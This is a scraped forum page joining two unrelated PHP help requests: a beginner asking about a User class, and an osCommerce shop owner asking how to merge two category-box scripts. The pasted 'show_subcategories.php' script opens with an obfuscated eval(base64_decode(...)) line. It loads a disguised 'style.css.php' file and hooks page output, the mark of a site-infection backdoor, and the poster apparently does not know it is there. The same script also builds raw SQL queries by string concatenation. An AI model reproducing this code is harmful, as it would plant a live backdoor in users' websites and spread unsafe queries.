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First, I apologize if this is the wrong venue, but it seemed the best place to ask question about code. The code below is very simple most likely, but I am having the hardest time visualizing how it's run. It would be most helpful if someone could point out the error of my thinking that would be awesome. This is literally the first php lesson I have ever taken.   I'm a very visual, hands on kind of learner. It would be most appreciated to get direction into the best way to learn PHP as a visual learner. Thanks! 

<?php
// I'm following an example online and need an explanation to this. This first part is creating
// a class called User.
class User {

// This is a variable set to public. Now in the lesson I discovered public and private. Why is
// public and private important? Could the code just run on $age? 
  public $age;
  
// This is a public function called __construct. Could I name this anything and the function
// would still work? What is important about __? 
  public function __construct($age) { 
// Ok, why is $this used? Is it correct in assuming that any word with a "$" assigned to it in
// this class will refer to age? 
    $this->age = $age;
  }

// This is the 3rd function called getAge(). Why is getAge() blank?  
  public function getAge() {
    echo $this->age;
  }
  
}

// Shoudln't this be at the top? And isn't there a cleaner way to output the age of a new user?
// This seems to take up way too much coding just to display the name of a variable?
$brad = new User(31);

// I'm so confused. 
$brad->getAge();

Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you.
This is the code that allow you to appoint specific categories to specific categories box:
Code: [Select]
<?php
/*
  $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $
*/

  function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter)
  {
global $cat_name; // CategoryBox Enhancement
    for ($i=0; $i<$tree[$counter]['level']; $i++)

      $categories_string = "&nbsp;&nbsp;";

//    $cPath_new = 'cPath=' . $tree[$counter]['path'];  // CategoryBox Enhancement
    $categories_string .= '<b><a href="';

  
      $cPath_new = 'cPath=' . $tree[$counter]['path'];

//    $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">';  // CategoryBox Enhancement
    $categories_string .= tep_href_link(FILENAME_DEFAULT,  $cPath_new) . '">';

    if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array))
    {

// commented for CategoryBox Enhancement      $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>';
      $categories_string .= '<b>';
      
// CategoryBox Enhancement  
      if ($cat_name == $tree[$counter]['name']) {
        $categories_string .= '<span class="errorText">';
         }
// CategoryBox Enhancement  
      
      $categories_string .= $tree[$counter]['name'];

// CategoryBox Enhancement        
if ($cat_name == $tree[$counter]['name']) {
$categories_string .= '</span>';
           }
// CategoryBox Enhancement      

      $categories_string .= '</b>';
     }

    else
    {
// CategoryBox Enhancement  
      if ($cat_name == $tree[$counter]['name']) {
        $categories_string .= '<b><span class="errorText">';
         }
// CategoryBox Enhancement  

      $categories_string .= $tree[$counter]['name'];
      
// CategoryBox Enhancement        
if ($cat_name == $tree[$counter]['name']) {
$categories_string .= '</span></b>';
           }
// CategoryBox Enhancement        
    }

/* commented for CategoryBox Enhancement
    if (tep_has_category_subcategories($counter))

      $categories_string .= '-&gt;';
*/

    $categories_string .= '</a>';

    if (SHOW_COUNTS == 'true') {

      $products_in_category = tep_count_products_in_category($counter);

      if ($products_in_category > 0)

        $categories_string .= '&nbsp;(' . $products_in_category . ')';

    }

    $categories_string .= '<br>';

    if ($tree[$counter]['next_id'] != false)

      $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']);

    return $categories_string;
  }

  function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array)
  {
    global $languages_id;

   $info_box_contents = array();
  $info_box_contents[] = array('text' => $infoBox['name']);

  new infoBoxHeadingCategories($info_box_contents, true, false);

    $tree = array();

    $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name");
    while ($categories = tep_db_fetch_array($categories_query)) {

      $tree[$categories['categories_id']] = array(
        'name' => $categories['categories_name'],
        'parent' => $categories['parent_id'],
        'level' => 0,
        'path' => $categories['categories_id'],
        'next_id' => false
      );

      if (isset($parent_id))
        $tree[$parent_id]['next_id'] = $categories['categories_id'];

      $parent_id = $categories['categories_id'];

      if (!isset($first_element))
        $first_element = $categories['categories_id'];

    }

    //------------------------
    if ($follow_cPath) {

      $new_path = '';

      reset($cPath_array);

      while (list($key, $value) = each($cPath_array)) {

        unset($parent_id);
        unset($first_id);

        $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name");

        if (tep_db_num_rows($categories_query)) {

          $new_path .= $value;

          while($row = tep_db_fetch_array($categories_query)) {

            $tree[$row['categories_id']] = array(
              'name' => $row['categories_name'],
              'parent' => $row['parent_id'],
              'level' => $key+1,
              'path' => $new_path . '_' . $row['categories_id'],
              'next_id' => false
            );

            if (isset($parent_id))

              $tree[$parent_id]['next_id'] = $row['categories_id'];


            $parent_id = $row['categories_id'];

            if (!isset($first_id))

              $first_id = $row['categories_id'];


            $last_id = $row['categories_id'];

          }

          $tree[$last_id]['next_id'] = $tree[$value]['next_id'];

          $tree[$value]['next_id'] = $first_id;

          $new_path .= '_';

        } else {

          break;

        }

      }

    }

    $info_box_contents = array();
    $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element));

    new infoBox($info_box_contents);
  }

?>
<!-- categories //-->
<?php

  $_infoBox = array();

//  define('TABLE_CATEGORIES_MORE','categories_more');

  $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1");

  while ($_categories = tep_db_fetch_array($categories_this_infobox_query))

    $_infoBox[] = array(
      'categories' => array(
        $_categories['category1_id'],
        $_categories['category2_id'],
        $_categories['category3_id'],
        $_categories['category4_id'],
        $_categories['category5_id'],
        $_categories['category6_id'],
        $_categories['category7_id'],
        $_categories['category8_id'],
        $_categories['category9_id'],
        $_categories['category10_id'],
        $_categories['category11_id'],
        $_categories['category12_id'],
        $_categories['category13_id'],
        $_categories['category14_id'],
        $_categories['category15_id'],
        $_categories['category16_id'],
        $_categories['category17_id'],
        $_categories['category18_id'],
        $_categories['category19_id'],
        $_categories['category20_id'],
        $_categories['category21_id'],
        $_categories['category22_id'],
        $_categories['category23_id'],
        $_categories['category24_id'],
        $_categories['category25_id'],
      ),
      'name'    => $_categories['infobox_name'],
      'enabled' => $_categories['enabled']
    );

  if (!tep_session_is_registered('infoBox')) {

    tep_session_register('infoBox');

    $infoBox = '0';

  }

    if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox']))
       $infoBox = $_GET['infoBox'];

  for($i=0,$n=2 ; $i<$n; $i++) {

    echo "<tr>\n<td>\n";

    tep_categories_box(
      $i,
      $_infoBox[$i],
      ($infoBox == $i && tep_not_null($cPath)) ? true : false,
      $cPath_array
    );

    echo "\n</td>\n</tr>\n";

  }
?>
<!-- categories_eof //-->This is the code that show sub-categories:
Code: [Select]
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php
/*
  $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $

*/

// Preorder tree traversal
//befordch: unactivated not needed
/*function preorder($cid, $level, $foo, $cpath){
global $categories_string, $HTTP_GET_VARS;

// Display link
if ($cid != 0) {
for ($i=0; $i<$level; $i++)
$categories_string .=  '  ';
$categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">';
// 1.6 Are we on the "path" to selected category?
$bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') ||  $HTTP_GET_VARS['cPath'] == $cpath . $cid;
// 1.6 If yes, use <b>
if ($bold)
$categories_string .=  '<b>';
$categories_string .=  $foo[$cid]['name'];
if ($bold)
$categories_string .=  '</b>';
$categories_string .=  '</a>';
// 1.4 SHOW_COUNTS is 'true' or 'false', not true or false
if (SHOW_COUNTS == 'true') {
$products_in_category = tep_count_products_in_category($cid);
      if ($products_in_category > 0) {
        $categories_string .= '&nbsp;(' . $products_in_category . ')';
      }
    }
$categories_string .= '<br>';
}
}*/
// Traverse category tree- this is for older snapshots pre-November 2002
/*    foreach ($foo as $key => $value) {
if ($foo[$key]['parent'] == $cid) {
//        print "$key, $level, $cid, $cpath<br>";
preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : ''))
;
} */
// Function used for post November 2002 snapshots
function tep_show_category($counter) {
global $foo, $categories_string, $id;

for ($a=0; $a<$foo[$counter]['level']; $a++)
$categories_string .= "  ";
}

?>
<!-- show_subcategories //-->
<tr>
<td class="infoBox_left">

 <?php
  $info_box_contents = array();
  $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES);

  new infoBoxHeadingCategories($info_box_contents, true, false);

//////////
// Get categories list
//////////
// 1.2 Test for presence of status field for compatibility with older versions
//  $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots
$status = tep_db_num_rows(tep_db_query('describe ' .  TABLE_CATEGORIES . ' status'));

$query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image
            from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd
            where c.categories_id = cd.categories_id";
// 1.3 Can't have 'where' in an if statement!
if ($status >0)
$query.= " and c.status = '1'";
$query.= " and cd.language_id='" . $languages_id ."'
            order by sort_order, cd.categories_id";

$categories_query = tep_db_query($query);

// Initiate tree traverse
  $categories_string = '';
  //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed

//////////
// Display box contents
//////////
$info_box_contents = array();
$row = 0;
$col = 0;
while ($categories = tep_db_fetch_array($categories_query)) {
if ($categories['parent_id'] == 0){
$temp_cPath_array = $cPath_array;  //Johan's solution - kill the array but save it for the rest of the site
unset($cPath_array);
$cPath_new = tep_get_path($categories['categories_id']);
$text_subcategories = '<br>';
$subcategories_query = tep_db_query($query);
while ($subcategories = tep_db_fetch_array($subcategories_query)){
if ($subcategories['parent_id'] == $categories['categories_id']){
$cPath_new_sub = "cPath="  . $categories['categories_id'] . "_" . $subcategories['categories_id'];
$text_subcategories .= '&nbsp;&nbsp;&nbsp;&nbsp;- <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>';
//start befordch fix (show subcategoriy count)
if (SHOW_COUNTS == 'true') {
$products_in_category = tep_count_products_in_category($subcategories['categories_id']);
       if ($products_in_category > 0) {
         $text_subcategories .= '&nbsp;(' . $products_in_category . ')';
       }
     }
//end bedfordch fix
$text_subcategories .= "<br>"; //bedfordch add <br> after subcategory.
$q2= "select * from categories where parent_id=" . $subcategories['categories_id'];
$rec2 = mysql_query($q2);
while ($rq2 = mysql_fetch_array($rec2)) {
$snd_sub_category = $rq2['categories_id'];
$q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category;
$rec3 = mysql_query($q3);
$rq3 = mysql_fetch_array($rec3);
$snd_categories_name = $rq3[categories_name];
$cPath_new_sub = "cPath="  . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category;
$text_subcategories .= '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+ ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>";
}
}
} // While Interno
//start befordch fix (show category count)
$buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name'];
if (SHOW_COUNTS == 'true') {
$products_in_category = tep_count_products_in_category($categories['categories_id']);
      if ($products_in_category > 0) {
        $buildtext .= '(' . $products_in_category . ')';
      }
   }
//end bedfordch
$buildtext .= '</b></a>' . $text_subcategories;
$info_box_contents[$row] = array('align' => 'left',
 'params' => 'class="smallText" width="130" valign="top"',
 'text' => $buildtext); //befordch show category count
$col ++;
if ($col > 0){
$col = 0;
$row ++;
    }
$cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code
}
}
new infoBox($info_box_contents, true);
?>
</td>
</tr>
<!-- show_subcategories_eof //-->